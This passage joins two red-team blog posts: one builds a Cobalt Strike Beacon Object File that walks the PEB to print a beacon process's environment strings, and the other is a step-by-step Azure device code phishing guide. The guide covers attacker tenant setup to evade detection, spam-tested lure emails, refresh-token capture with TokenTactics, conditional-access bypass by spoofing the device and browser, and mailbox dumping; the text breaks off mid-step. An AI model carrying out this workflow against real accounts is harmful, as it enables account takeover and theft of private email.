00000000`007411d0  63 00 6f 00 6c 00 61 00-74 00 65 00 79 00 49 00  c.o.l.a.t.e.y.I.

We see that the strings are there as Unicode. You can tell because of the 00 after everything.
- Windows Unicode strings are 2 bytes (4 hex characters).
We can see that the Unicode strings end with a 00 00 where normally its a hex ASCII value followed by a 00.

Assembly Shellcode to get to Environment from Anywhere in Memory

TEB (GS Register) –> PEB –> ProcessParameters –> Environment

xor r10, r10         // R10 = 0x0 - Null out some registers
mul r10              // RAX&RDX = 0x0
add al, 0x60         // RAX = 0x60 = Offset of PEB Address within the TEB
mov rbx, gs:[rax]    // RBX = PEB Address
mov rax, [rbx+0x20]  // RAX = ProcessParameters Address
mov rbx, [rax+0x3f0] // RBX = Environment Size
mov rax, [rax+0x80]  // RAX = Environment Address

Testing That our Code Works

We enter in the above Assembly code into a process using x64dbg to test it out. We step through it and see that it resolves the Environment Address & Environment Size.

We see that the Environment Address is in the RAX register.
The Environment Size is in the RBX register.

Confirming the Environment Address

Just to make sure, we right-click the RAX value in x64dbg and click ‘View in Dump’. We can confirm that our Environment Unicode strings are at that address.

Create a BOF Prototype

Now that we know how to dynamically get to the Unicode Environment strings, we will create a simple Cobalt Strike Beacon Object File (BOF) & an Aggressor CNA script (for UI/UX).

Creating the our BOF Prototype

From a macOS or Linux x64 intel device, install GCC & Ming

How to install Ming on macOS:

# Install brew on macOS if you need it (https://brew.sh/)
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
# Install Ming using Brew
brew install mingw-w64

Make a folder and change directory into it: `mkdir WhereAmI && cd WhereAmI’
Create a C file named whereami.x64.c with these contents:

#include <windows.h>
#include "beacon.h"
void go(char * args, int len) {
    BeaconPrintf(CALLBACK_OUTPUT, "[+] Our 'Where am I?' BOF prototype works!"); 
}

Compile the BOF Prototype

x86_64-w64-mingw32-gcc -c whereami.x64.c -o whereami.x64.o

Executing our BOF from Cobalt Strike

Now get a Windows VM and boot it up
Start up your Cobalt Strike Team Server
Make a beacon in Cobalt Strike and execute it on the windows VM
Right click your beacon and click ‘Interact’ to pull up the beacon CLI
Use inline-execute from your Cobalt Strike CLI and supply the path to your whereami.x64.o BOF

If you need help setting up a Cobalt Strike Team Server, navigating the UI/setup, and just general knowledge on how to operate Cobalt Strike, then 100% check out these AWESOME Cobalt Strike videos created by Raphael Mudge!

https://www.cobaltstrike.com/training

beacon> inline-execute /Users/bobby.cooke/git/boku7/WhereAmI/whereami.x64.o
[*] Tasked beacon to inline-execute /Users/bobby.cooke/git/boku7/WhereAmI/whereami.x64.o
[+] host called home, sent: 169 bytes
[+] received output:
[+] Our 'Where am I?' BOF prototype works!

We can see that our prototype works and prints the string to the console after running!

Create an Aggressor Script Prototype for UI/UX

In our /WhereAmI/ directory, create a file named whereami.cna. This will be the Aggressor script responsible for adding our whereami command to the Cobalt Strike beacon console.

whereami.cna

beacon_command_register(
    "whereami", 
    "Displays the beacon process environment without any DLL usage.", 
    "Synopsis: whereami"
);

alias whereami {
    local('$handle $data');
    $handle = openf(script_resource("whereami.x64.o"));
    $data = readb($handle, -1);
    closef($handle);

    btask($1, "Where Am I? BOF (Bobby Cooke//SpiderLabs|@0xBoku|github.com/boku7)");
    beacon_inline_execute($1, $data, "go");
}

Load our Aggressor Script into Cobalt Strike

Go to ‘Cobalt Strike’ –> ‘Script Manager’ from the menu bar of Cobalt Strike
Click the ‘Load’ button and select our whereami.cna script

Testing our BOF & Aggressor Script

Now the whereami command is accessible from the interactive beacon console.

beacon> help
...
    whereami    Displays the beacon process environment without any DLL usage.
beacon> whereami
[*] Where Am I? BOF (Bobby Cooke//SpiderLabs|@0xBoku|github.com/boku7)
[+] host called home, sent: 164 bytes
[+] received output:
[+] Our 'Where am I?' BOF prototype works!

Everything works! Now time to make it do the thing.

Resolving Environment Address & Size with our BOF

We will now adjust our code to resolve the Environment Address and Size with our C BOF code.
We will use inline assembly code to do this by using the __asm__() GCC function.
When we compile the code with ming, we will add the -masm=intel flag to tell ming that we want to compile with the GCC C inline assembly functionality.

#include <windows.h>
#include "beacon.h"
void go(char * args, int len) {
    PVOID envAddr = NULL;
    PVOID envSize = NULL;
    __asm__(
        //"int3 \n"
        "xor r10, r10 \n"         // R10 = 0x0 - Null out some registers
        "mul r10 \n"              // RAX&RDX = 0x0
        "add al, 0x60 \n"         // RAX = 0x60 = Offset of PEB Address within the TEB
        "mov rbx, gs:[rax] \n"    // RBX = PEB Address
        "mov rax, [rbx+0x20] \n"  // RAX = ProcessParameters Address
        "mov rbx, [rax+0x80] \n"  // RAX = Environment Address
        "mov rax, [rax+0x3f0] \n" // RBX = Environment Size
        "mov %[envAddr], rbx \n"
        "mov %[envSize], rax \n"
	:[envAddr] "=r" (envAddr),
	 [envSize] "=r" (envSize)
    );
    BeaconPrintf(CALLBACK_OUTPUT, "[+] Evironment Address: %p",envAddr); 
    BeaconPrintf(CALLBACK_OUTPUT, "[+] Evironment Size:    %d",envSize);
}

Compiling our BOF with Inline Assembly

We add the flag to our compile command, and for ease of use we make it into a bash script.

cat compile.cmds
x86_64-w64-mingw32-gcc -c whereami.x64.c -o whereami.x64.o -masm=intel
bash compile.cmds

Testing our Inline Assembly BOF

We do not need to reload our whereami.cna Agressor script because our script will use the contents of the whereami.x64.o object file that we just compiled with our bash script.

beacon> whereami
[*] Where Am I? BOF (Bobby Cooke//SpiderLabs|@0xBoku|github.com/boku7)
[+] host called home, sent: 300 bytes
[+] received output:
[+] Evironment Address: 0000000000071130
[+] received output:
[+] Evironment Size:    4242

Making our BOF Modular

Since we do not know how much we will want to expand or reuse this code in the future, we’ll take some time to clean it up and make it more modular.

#include <windows.h>
#include "beacon.h"
PVOID getProcessParamsAddr()
{
    PVOID procParamAddr = NULL;
    __asm__(
        "xor r10, r10 \n"         // R10 = 0x0 - Null out some registers
        "mul r10 \n"              // RAX&RDX = 0x0
        "add al, 0x60 \n"         // RAX = 0x60 = Offset of PEB Address within the TEB
        "mov rbx, gs:[rax] \n"    // RBX = PEB Address
        "mov rax, [rbx+0x20] \n"  // RAX = ProcessParameters Address
        "mov %[procParamAddr], rax \n"
	:[procParamAddr] "=r" (procParamAddr)
    );
    return procParamAddr;
}
PVOID getEnvironmentAddr(PVOID procParamAddr)
{
    PVOID environmentAddr = NULL;
    __asm__(
        "mov rax, %[procParamAddr] \n"
        "mov rbx, [rax+0x80] \n"  // RBX = Environment Address
        "mov %[environmentAddr], rbx \n"
	:[environmentAddr] "=r" (environmentAddr)
	:[procParamAddr] "r" (procParamAddr)
    );
    return environmentAddr;
}
PVOID getEnvironmentSize(PVOID procParamAddr)
{
    PVOID environmentSize = NULL;
    __asm__(
        "mov rax, %[procParamAddr] \n"
        "mov rax, [rax+0x3f0] \n" // RAX = Environment Siz
        "mov %[environmentSize], rax \n"
	:[environmentSize] "=r" (environmentSize)
	:[procParamAddr] "r" (procParamAddr)
    );
    return environmentSize;
}
void go(char * args, int len) {
    PVOID procParamAddr = NULL;
    PVOID environmentAddr = NULL;
    PVOID environmentSize = NULL;
    procParamAddr = getProcessParamsAddr();
    environmentAddr = getEnvironmentAddr(procParamAddr);
    environmentSize = getEnvironmentSize(procParamAddr);
    BeaconPrintf(CALLBACK_OUTPUT, "[+] Evironment Address: %p",environmentAddr); 
    BeaconPrintf(CALLBACK_OUTPUT, "[+] Evironment Size:    %d",environmentSize);
}

Compile & Test our Inline Assembly BOF

bobby.cooke$ cat compile.cmds 
x86_64-w64-mingw32-gcc -c whereami.x64.c -o whereami.x64.o -masm=intel
bobby.cooke$ bash compile.cmds 

beacon> whereami
[*] Where Am I? BOF (Bobby Cooke//SpiderLabs|@0xBoku|github.com/boku7)
[+] host called home, sent: 460 bytes
[+] received output:
[+] Environment Address: 0000000000071130
[+] received output:
[+] Environment Size:    4242

Looking good! Now we need to figure out how to parse out all those Unicode strings.

Resolving the Unicode Strings in the Enviroment Block

So far our BOF can get the size and address of the Environment block. We also saw earlier that the strings are just all mashed in there together, separated by a 2 byte 0x0000 delimiter. We will want to scan the Environment block, extract the strings, and output them to the Cobalt Strike interactive beacon console.

To make our shellcode that grabs the strings, we will fire up another bobbyCooke.exe beacon in x64dbg. We’ll write and test our code right there in the x64dbg disassembly window.

Breaking’ on that BOF

Since we don’t want to rewrite our entire program into the x64dbg window, we’ll recompile our code with a breakpoint in it. After compilation, we’ll attach to our beacon process. Then we’ll run our BOF again from the interactive beacon console to trigger our breakpoint and work from there.

This is the BOF code with the breakpoints:

PVOID getEnvironmentAddr(PVOID procParamAddr)
{
    PVOID environmentAddr = NULL;
    __asm__(
        "mov rax, %[procParamAddr] \n"
        "mov rbx, [rax+0x80] \n"  // RBX = Environment Address
        "mov %[environmentAddr], rbx \n"
        "int3 \n" // <------------ Our BOF Breakpoints for debugging in x64dbg 
	:[environmentAddr] "=r" (environmentAddr)
	:[procParamAddr] "r" (procParamAddr)
    );
    return environmentAddr;
}
PVOID getEnvironmentSize(PVOID procParamAddr)
{
    PVOID environmentSize = NULL;
    __asm__(
        "mov rax, %[procParamAddr] \n"
        "mov rax, [rax+0x3f0] \n" // RAX = Environment Siz
        "mov %[environmentSize], rax \n"
        "int3 \n" // <------------ Our BOF Breakpoints for debugging in x64dbg 
	:[environmentSize] "=r" (environmentSize)
	:[procParamAddr] "r" (procParamAddr)
    );
    return environmentSize;
}

We trigger the breakpoint by using our whereami command from the Cobalt Strike beacon console.
We catch the breakpoint because we are debugging our beacon process with x64dbg. If you are not debugging, then this will likely kill your beacon.
First thing we’ll need to do after hitting our BOF breakpoint is nop out the int3 instruction. This will allow us to step forward in our code.
We see that the RAX register has the address of our Environment because of that first Unicode string displayed by the RAX register.
We also see that our PVOID environmentAddr variable exists on the stack at the location [rbp-0x8].

Creating a Workspace

We’ll want some room to work, and less confusing is better. Since we see that the environmentAddr is going to be saved on the stack at [rbp-0x8], and the next instruction loads that in rax, we will work from there. We select a big amount of memory in the disassembler after the mov rax,[rsp-0x8] instruction, and right click to NOP it out.

Resolving Unicode Delimiters via String Size

To list out all the Unicode strings, we first need to find where they end. Once we know where the first-string ends, we can print it out, and then move to the next. We’ll continue to do this for all the Unicode strings until we exhaust the size of the environment.

After tinkering around in x64dbg, the getUnicodeStrLen() function has been added to the code. This will return the length of our Unicode string. For our test we will then print the Unicode string using BeaconPrintf() with %ls.

PVOID getUnicodeStrLen(PVOID envStrAddr)
{
    PVOID unicodeStrLen = NULL;
    __asm__(
        "mov rax, %[envStrAddr] \n"
        "xor rbx, rbx \n" // RBX is our 0x00 null to compare the string position too
        "xor rcx, rcx \n" // RCX is our string length counter
    "check: \n"
        "inc rcx \n"
        "cmp bl, [rax + rcx] \n"
        "jne check \n"
        "inc rcx \n" 
        "cmp bl, [rax + rcx] \n"
        "jne check \n"
        "mov %[unicodeStrLen], rcx \n"
	:[unicodeStrLen] "=r" (unicodeStrLen)
	:[envStrAddr] "r" (envStrAddr)
    );
    return unicodeStrLen;
}
void go(char *args, int len)
{
    PVOID procParamAddr = NULL;
    PVOID environmentAddr = NULL;
    PVOID environmentSize = NULL;
    PVOID unicodeStrSize = NULL;
    procParamAddr = getProcessParamsAddr();
    environmentAddr = getEnvironmentAddr(procParamAddr);
    environmentSize = getEnvironmentSize(procParamAddr);
    unicodeStrSize = getUnicodeStrLen(environmentAddr);
    BeaconPrintf(CALLBACK_OUTPUT, "[+] Environment Address: %p",environmentAddr); 
    BeaconPrintf(CALLBACK_OUTPUT, "[+] Environment Size:    %d",environmentSize);
    BeaconPrintf(CALLBACK_OUTPUT, "[+] 1st String Size:    %d",unicodeStrSize);
    BeaconPrintf(CALLBACK_OUTPUT, "[+] 1st String Value:   %ls",environmentAddr);
}

We test our BOF again and confirm it is working correctly.

beacon> whereami
[*] Where Am I? BOF (Bobby Cooke//SpiderLabs|@0xBoku|github.com/boku7)
[+] host called home, sent: 716 bytes
[+] received output:
[+] Environment Address: 0000000000751130
[+] received output:
[+] Environment Size:    4242
[+] received output:
[+] 1st String Size:    14
[+] received output:
[+] 1st String Value:   =::=::\

We can see that we are successfully printing the first Unicode string from our Environment block into the interactive beacon console.

Looping through all the Unicode Environment Strings

Now we add some code to loop through all the environment Unicode strings and output them to the Cobalt Strike interactive beacon console.

Our Looper Code

void printLoopAllTheStrings(PVOID nextEnvStringAddr, unsigned __int64 environmentSize)
{
    PVOID unicodeStrSize = NULL;
    PVOID environmentEndAddr = nextEnvStringAddr + environmentSize;
    while (nextEnvStringAddr < environmentEndAddr)
    {
        __asm__(
            "int3 \n"
        );
        BeaconPrintf(CALLBACK_OUTPUT, "%ls",nextEnvStringAddr);
        unicodeStrSize = getUnicodeStrLen(nextEnvStringAddr)+2;
        nextEnvStringAddr += (unsigned __int64)unicodeStrSize;
    }
}
void go(char *args, int len)
{
    PVOID procParamAddr = NULL;
    PVOID environmentAddr = NULL;
    PVOID environmentSize = NULL;
    procParamAddr = getProcessParamsAddr();
    environmentAddr = getEnvironmentAddr(procParamAddr);
    environmentSize = getEnvironmentSize(procParamAddr);
    BeaconPrintf(CALLBACK_OUTPUT, "[+] Environment Address: %p",environmentAddr); 
    BeaconPrintf(CALLBACK_OUTPUT, "[+] Environment Size:    %d",environmentSize);
    printLoopAllTheStrings(environmentAddr, (unsigned __int64)environmentSize);
}

This code adds the printLoopAllTheStrings() function which loops through all the Unicode strings in the Environment block and then prints them to the beacons console using BeaconPrintf().
The loop uses the getUnicodeStrLen() function we created to find the offset of the next environment string.
After adding our current environment address with the Unicode string length for our current string, we add 2 bytes to compensate for the 0x0000 delimiter. Now we will be at the start of the next Unicode string.

We set the breakpoint so we could tinker with our code and ensure it works.
We see that the loop is working and loading the next Unicode string address into RAX!

As we step through the loops, we can see the environment strings outputting to our beacons console!

Great Success!

Our “Where Am I?” BOF code is working! Also, we can see by resuming the code in the debugger, that we successfully output all the environment strings and do not crash the beacon process!

For the full code to the project see the GitHub repo:

GitHub - boku7/whereami

References/Resources

Matt Eidelberg’s DEF CON 29 talk Operation Bypass Catch My Payload If You Can
Sektor7 Courses
https://institute.sektor7.net/
Raphael Mudge - Beacon Object Files - Luser Demo
https://www.youtube.com/watch?v=gfYswA_Ronw
Cobalt Strike - Beacon Object Files
https://www.cobaltstrike.com/help-beacon-object-files
Implementing ASM in C Code with GCC
https://outflank.nl/blog/2020/12/26/direct-syscalls-in-beacon-object-files/
https://www.cs.uaf.edu/2011/fall/cs301/lecture/10_12_asm_c.html
http://gcc.gnu.org/onlinedocs/gcc-4.0.2/gcc/Extended-Asm.html#Extended-Asm
BOF Code References

trustedsec/CS-Situational-Awareness-BOF
https://github.com/trustedsec/CS-Situational-Awareness-BOF
anthemtotheego/InlineExecute-Assembly
https://github.com/anthemtotheego/InlineExecute-Assembly/blob/main/inlineExecuteAssembly/inlineExecute-Assembly.cna
ajpc500/BOFs
https://github.com/ajpc500/BOFs/

The Art of the Device Code Phish

2021-07-12T00:00:00+00:00

Blog Contributors: Bobby Cooke(Boku/@0xBoku), Stephan Borosh(rvrsh3ll/@424f424f), Adeeb Shah(@hyd3sec), Octavio Paguaga(@oakTree__), John Jackson(@johnjhacking), Matt Kingstone(@n00bRage), Jose Plascencia(@_GRIM3_)

TokenTactics Creators: Bobby Cooke(Boku/@0xBoku), Stephan Borosh(rvrsh3ll/@424f424f)

Shout-Outs: Charles Hamilton (@Mr.Un1k0d3r), Dr. Nestori Syynimaa(@DrAzureAD), Nikhil Mittal(@nikhil_mitt)

Overview

In this blog we’ll walkthrough the Azure Device Code Phishing attack, from creating a malicious Azure phishing infrastructure, to achieving Azure Account Take-Over (ATO).

We’ll be setting up Azure accounts, Azure Active Directories (AAD), Exchange Online (EXO), spinning up hypervisors, creating Virtual Machines (VMs), creating phishing accounts for Red Team Operators (RTOs), honing our HTML phishing emails, launching an Azure Device Code Phishing campaign, bypassing Multi-Factor Authentication (MFA), bypassing Conditional Access Policies (CAPs), swapping tokens, dumping Azure AD, dumping exchange mailboxes, and accessing the targets Outlook Web Application (OWA) via our browser.

Most of this with will be done with free trials, and we’ll do our best to stay within the strict scope that Red Teams must abide too.

We will launch our Azure Device Code Phishing campaign from the domain msftsec.onmicrosoft.com, which is given to us when we create an Azure Active Directory. In this blog we will be attacking users of the domain theHarvester.World, which is a domain I am hosting on Azure. We will phish theHarvester.World users by sending them phishing emails from our attacker controlled msftsec.onmicrosoft.com domain.

Since our attacker root domain is onmicrosoft.com, which is registered to Microsoft & sent from Microsoft servers, this may allow us to evade detection.

A Deep Dive into the Device Code Phish Attack

I suggest reading this AADInternals blog post by Dr Nestori Syynimaa’s, to learn how the Device Code Phishing attack works. The aim of this post is not to republish his great work, but to build on it; providing a detailed “How to Guide” for red teams aiming to succeed in a successful Device Code Phish.

o365blog.com - Introducing a new phishing technique for compromising Office 365 accounts

Azure Phishing Infrastructure Setup

In this section we will setup an Azure Account Subscription, which will host our malicious Azure Active Directory (AAD) phishing domain msftsec.onmicrosoft.com. We will create an Admin Global Administrator user to acquire 30-day Office 365 trial licenses, setup Exchange Online, enable DKIM, and create phishing accounts for Red Team Operators.

Azure Account Subscription Setup

Create an Azure account at azure.microsoft.com.
- You will be required to verify with a valid email, phone number, and credit card.
- When creating an Azure Account, help the Microsoft DFIR team by attributing your account to your Red Team organization. This helps save time for their team when they are investigating if you are a real threat, performing threat emulation services, or performing offensive security research.
- See Nick Carr- Lead, Cyber Crime Intelligence / Investigations @Microsoft for more insight.
Login to your newly created Azure subscription at portal.azure.com.

Create an Azure Active Directory Tenant

Go to the Azure Active Directory (AAD) service from within your Azure portal.

Create a new Azure Active Directory Tenant.
- Azure AD > Overview > Manage Tenant > +Create

Switch to the newly created Azure AD Tenant.
- Azure AD > Overview > Manage Tenant > Select Tenant > Switch
Create an admin user within your tenants Azure AD.
- AAD > Users > New User
- Assign Global Administrator role to the admin user.
To disable 2FA prompting go to the Properties blade, click Manage Security defaults, then toggle Enable Security defaults to No.

Office 365 Setup

Assign Red Team Operators a license bundle which includes Exchange Online & the Office applications. Sending phishing emails from a Windows VM via the Outlook desktop application has been the most reliable. Sending phishing emails from a browser via Outlook Web App (OWA), non-Windows operating systems, and non-Outlook email clients has been unreliable. Your experience may differ, and you are encouraged to experiment to find the best system that works for you.

Exchange Online & Office Trial Licenses

Sign-in to office.com with your new admin user.

Go to admin.microsoft.com.
Go to Billing > Purchase Services from the admin panel.
Select a license package with Exchange Online and the Office Application Suite.
- Microsoft 365 Business Premium & Microsoft 365 E3 are good options.
- There are many different license packages offered by Microsoft which iclude EXO & Office.
After selecting the license package, click the ‘Start free trial’ hyperlink.

Prove you’re not a R0b0T with a text message, ‘Start your free trial’, then ‘Try now’.

Create a user to send phishing emails from by going to the Users > Active Users tab and clicking ‘Add a user’ from the Active Users page.

Give your phishing user a convincing name, as this name will be seen by the target you are attempting to phish.

Assign a license to your phishing user.

Enable DKIM for Malicious Azure AD

Open PowerShell, then install & import the ExchangeOnlineManagement module.

Install-Module -Name ExchangeOnlineManagement
Import-Module ExchangeOnlineManagement

Connect to Exchange Online (EXO) with your admin user and enable DKIM for your AAD tenant.

Connect-ExchangeOnline -UserPrincipalName admin@msftsec.onmicrosoft.com
# Login to prompt
New-DkimSigningConfig -DomainName msftsec.onmicrosoft.com -Enabled $true

Return your DKIM Selector records for testing your domains DKIM setup.

PS C:\Users\boku\TokenTactics> Get-DkimSigningConfig –identity msftsec.onmicrosoft.com| Format-List Identity,Selector1CNAME,Selector2CNAME
Identity       : msftsec.onmicrosoft.com
Selector1CNAME : selector1-msftsec-onmicrosoft-com._domainkey.msftsec.onmicrosoft.com
Selector2CNAME : selector2-msftsec-onmicrosoft-com._domainkey.msftsec.onmicrosoft.com

Useful blog for Azure DKIM debugging.
Note that DKIM changes can take up to a day to complete.

Phishing Operator Setup

In this section we will setup Windows 10 Virtual Machines (VMs) for Red Team Operators, install the desktop Outlook Client on the Operators VMs using the Office 365 trials, enable PowerShell scripts, install the AADInternals PowerShell module, install the TokenTactics PowerShell module, and install the AzureAD PowerShell module.

Windows 10 VM Setup

We will need a PowerShell environment to run the AADInternals, TokenTactics, and AzureAD PowerShell modules. Sometimes I use macOS PowerShell which runs TokenTactics fine, but we may run into issues with PowerShell modules that have DLL dependencies.

For sending the phishing emails, a windows environment is optional. For HTML&CSS emails, we recommend sending from the Windows Outlook desktop client if the target is a Windows shop that uses Outlook internally. Sending HTML&CSS emails from macOS clients to targets with Windows email clients has had mixed results.

VMWare & VirtualBox are great options for type-2 hypervisors:

VMWare offers free 30 day trials for VMWare Fusion for macOS & VMWare Workstation Pro for Linux or Windows.
VirtualBox works too.
Windows 10 ISO Download
- Download the ISO from macOS or Linux.
Windows 10 Developer VM Download

Outlook Application Setup for RTO

On the RTO VMs, we will install Office by going to office.com, logging in with the RTO account, and clicking the ‘Install Office’ button located at the top-right of the splash page.
- To install Outlook, we will need to install the entire Office suite.
Once the download completes we will follow the on screen instructions to complete the installation phase.
We will now open Outlook and login with the RTO’s credentials.
- In this blog, our example RTO account is DevOps@msftsec.onmicrosoft.com.

Changing the VMs PowerShell Execution Policy

To run PowerShell scripts you may need to change the PowerShell Execution Policy on your Windows VM.

To change this:

Navigate to Windows Settings, click on ‘Update & Security’.
On the left side towards the bottom, you’ll see a ‘For developers’ tab.
After clicking that, you should see a PowerShell header towards the bottom, click on the ‘Apply’ button.

Run PowerShell as Administrator

Copy and paste this command into PowerShell:

 Set-ExecutionPolicy Unrestricted -Scope CurrentUser -Force

AADInternals PowerShell Module Installation

We will be using the AADInternals PowerShell module to determine if the target uses Azure. AADInternals also has a Device Code phishing functionality, and the TokenTactics module is derived from the epic AADInternals project.

# Install the module
Install-Module AADInternals

Now that the AADInternals module is installed, we can use import-module for a PowerShell session to get access to the AADInternals commands.
Just like all the PowerShell modules, we will need to import them into every new PowerShell session we want to use them in.

TokenTactics PowerShell Module Installation

Download or clone the TokenTactics GitHub repository
Ensure the TokenTactics folder is on the RTOs Window VMs file system.

PS C:\Users\boku> cd .\TokenTactics
PS C:\Users\boku\TokenTactics> Import-Module .\TokenTactics.psd1

You will need to import TokenTactics when you want to use it within a PowerShell session.
Ignore the warning about the naming convention. We did not follow proper Microsoft PowerShell naming convention, so it throws a warning.

AzureAD PowerShell Module Installation

We will install the AzureAD PowerShell module for enumerating the targets AzureAD after acquiring a Refresh Token from the Device Code Phish campaign.

Install-Module AzureAD

AAD Reconnaissance

The Azure Device Code phishing technique is dependent on your target using Azure Active Directory. Before launching an Azure Device Code phishing campaign, it is wise to ensure your target uses Azure.

Check if the target domain uses Azure Active Directory

Target is registered to Azure Active Directory

Invoke-AADIntReconAsOutsider -Domain theharvester.world | Format-Table
Tenant brand:       The Harvester
Tenant name:        theharvester
Tenant id:          1d5551a0-f4f2-4101-9c3b-394247ec7e08
DesktopSSO enabled: False
Name                          DNS   MX  SPF DMARC Type    STS
----                          ---   --  --- ----- ----    ---
theharvester.onmicrosoft.com True True True False Managed
theharvester.world           True True True False Managed

Our target domain TheHarvester.World is registered to Azure Active Directory and has MX set to True.

Another way is by checking their DNS MX record:

dig -t MX +short theHarvester.World
0 theharvester-world.mail.protection.outlook.com.

Target is NOT registered to Azure Active Directory

Invoke-AADIntReconAsOutsider -Domain isNotRegisteredToAzureAD.com | Format-Table
Domain isNotRegisteredToAzureAD.com is not registered to Azure AD

Azure Device Code Phishing Setup

In this section we will create a working HTML&CSS Azure Device Code phishing template email, ensure it works in Outlook, and send an Azure Device Code phishing email. We’ve included a Device Code phishing Outlook email template in the TokenTactics repo to get you started!

Device Code Phishing Email Template Setup

For the phishing campaign we’ll need a convincing phishing email to send to targets. This was the main issue we had with using the AADInternals module to send phishing emails. AADInternals sends phishing emails using the Microsoft Graph API. For testing this works great, but for Red Team engagements we wanted to go the extra mile and get some convincing HTML&CSS phishing emails going.

Initially we were using this DeviceCodePhish.ps1 PowerShell script created by Mr. Un1k0d3r & Rvrsh3ll, but we kept adding more & more functionality, so we dubbed it TokenTactics!

To get some ideas, we began digging through Microsoft One-Time Password (OTP) emails. We created a phishing template in HTML&CSS, and we’ve included it in the TokenTactics GitHub repository for you!

On the RTO Windows VM, open the TokenTactics folder and double-click the DeviceCodePhishingEmailTemplate.oft file.

This file is an Outlook Item Template (OTF) file, so it will open in the desktop Outlook application.

For the Azure Device Code Phishing Campaign, we will be replacing the <REPLACE-WITH-DEVCODE-FROM-TOKENTACTICS> text with the device codes that are generated from the TokenTactics PowerShell module.
Feel free to modify this template. You may need to, as this email template may have been signatured and is “burned”.

Phish Strength Testing

To test the spam score of our phishing emails we will use www.mail-tester.com.

We will copy the email Mail-Tester presents us with.

Open the phishing template and send the phishing email to the Mail-Tester address.

On Mail-Tester, click ‘Then check your score’.

Great success! We have achieved a 10/10 score for Mail-Tester!

Executing the Azure Device Code Phishing Attack

Now that we have a strong phishing email, we will start our Azure Device Code Phishing against the user Bob@TheHarvester.World.

TokenTactics Setup

On the RTO Windows VM we will setup TokenTactics for our phishing attack. It is important to keep in mind that these device codes typically expire after 15 minutes. We will want to make sure to queue a device code with TokenTactics at the same time we send our phishing email.

Open the Azure Device Code Phishing template in Outlook on the RTO Windows VM.
Open a PowerShell window and import the TokenTactics module.

PS C:\Users\boku\> Import-Module C:\Users\boku\TokenTactics\TokenTactics.psd1

Now that we have the phishing email and TokenTactics queued, we will send our phishing email!

Phishing Bob

First we will request a device code for the Azure Graph API using TokenTactics.

PS C:\Users\boku\> Get-AzureToken -Client Graph
user_code        : ERDVDCNHH

We will replace <REPLACE-WITH-DEVCODE-FROM-TOKENTACTICS> in the phishing email with value of the user_code ERDVDCNHH.

Now we will leave TokenTactics running in the PowerShell window and send the phishing email to Bob@TheHarvester.World.
Bob receives the phishing email from our operators email address DevOps@msftsec.onmicrosoft.com.

Bob clicks the https://microsoft.com/devicelogin hyperlink which opens the link in his default browser. Bob follows the phishing emails instructions and copies the device code from the phishing email and pastes it into the Microsoft Device Code authentication form.

Since Bob is already logged into his account on his default browser, Bob is not required to authenticate with his credentials and MFA.
If Bob is not logged into his browser, he will need to enter his credentials and complete the MFA challenge.
Recently I’ve noticed that Bob may be prompted with a security prompt to ask Bob if he knows what he’s about to do.

After Bob completes the Device Code form, our TokenTactics PowerShell window will dump Bob’s Access Token & Refresh Token.
Azure access tokens are typically short lived, around 60-90 minutes.
Azure Refresh Tokens last for much longer, sometimes up to 90 days.

TokenTactics

Now that we have a refresh token we can use TokenTactics to get access tokens for Azure resources. Since we acquired this token via the Device Code phish we should be able to access all the Azure resources that the real user can access. Although, we may run into issues if their Azure tenant has a Conditional Access Policy (CAP) that prevents us from accessing resources based on conditions like IP address filtering, checking if the device is joined to Intune, checking if the device type is allowed, checking if the browser is allowed, and various other conditional options.

Dump Azure AD with AzureAD Module

We will import the AzureAD module to our PowerShell window and pass the AadGraph Token from TokenTactics to the AzureAD.

PS C:\Users\boku> import-module AzureAD
PS C:\Users\boku> Connect-AzureAD -AadAccessToken $response.access_token -AccountId bob@theharvester.world

Using the AzureAD module we can do allot more than just dumping the users. To continue on from here check out the AzureAD PowerShell Module Documenation

Nikhil Mittal(@nikhil_mitt) has a great course which dives deep into Azure AD Red Teaming. I definitely recommend this course, as it’s the best I’ve seen for AAD Red Teaming!

RefreshTo-MSGraph

Now that we have the refresh token for Bob@TheHarvester.World, we will use it to refresh to a MS Graph access token. With this MS Graph access token, we will use TokenTactics to dump Bob’s email.

Pass the refresh token to the RefreshTo-MSGraph command.
We will also add the flags -Device iPhone & -Browser Safari.
- TokenTactics has the ability to spoof the Device and Browser that the API requests are sent from.
- This can bypass Conditional Access Polciies (CSPs) that are device & browser based.

Dumping Bob’s Email with TokenTactics

At the time of testing out AADInternals for Red Team engagements, I could only return the unread emails from the mailbox. To overcome this limitiation I created the Dump-OWAMailboxViaMSGraphApi command in TokenTactics.

Dump-OWAMailboxViaMSGraphApi can return all the emails from all the mail folders.

The Get-Help command shows us that Dump-OWAMailboxViaMSGraphApi allows us to select the mail folder, return an arbitrary amount of emails with the top flag, spoof our device, and spoof our browser.

Get-Help Dump-OWAMailboxViaMSGraphApi
SYNTAX
    Dump-OWAMailboxViaMSGraphApi [-AccessToken] <String> [-mailFolder] <String> [[-top] <Int32>] [[-Device] <String>] [[-Browser] <String>] [<CommonParameters>]

Valid options for the -mailFolder arguments are:

AllItems: Returns emails from all mail folders
inbox: Returns emails in the inbox
archive: Returns emails the user has archived
deleteditems: Returns emails the user has deleted
drafts: Returns draft emails
recoverableitemsdeletions: Returns emails that the user has deleted in their trash
sentitems: Returns emails the user sent

** Warning! If you do not use the -top <#> flag to limit the number of emails you want to return, then you will return all the users emails. This will be done over multiple requests to the MS Graph API. **

To return the most recent email in Bob’s inbox we will supply inbox to the -mailFolder parameter and 1 to the -top parameter. We will also use the -Device and -Browser parameters to spoof that we are reading the email from an iPhone device using the Safari browser.

PS C:\Users\boku> Dump-OWAMailboxViaMSGraphApi -AccessToken $MSGraphToken.access_token -mailFolder inbox -top 1 -Device iPhone -Browser Safari

Opening OWA in a Browser with TokenTactics

Both the MSGraph API and the Outlook API can be used to access the EXO mailbox. Although, it is common security practice to restrict access to the MSGraph API & the Outlook API from external devices not joined to the companies Azure AD. To bypass this Conditional Access Policy (CAP), we can abuse the Microsoft Substrate API to access OWA in a browser.

The Open-OWAMailboxInBrowser command in TokenTactics has this built in. The best way i’ve discovered to open OWA in the browser using a Substrate token is to use BurpSuite.

Pass the refresh token to the RefreshTo-SubstrateToken command in TokenTactics.

PS C:\Users\boku> RefreshTo-SubstrateToken -refreshToken $response.refresh_token -domain TheHarvester.World -Device AndroidMobile -Browser Android

Now we will pass the Substrate access token to the Open-OWAMailboxInBrowser.

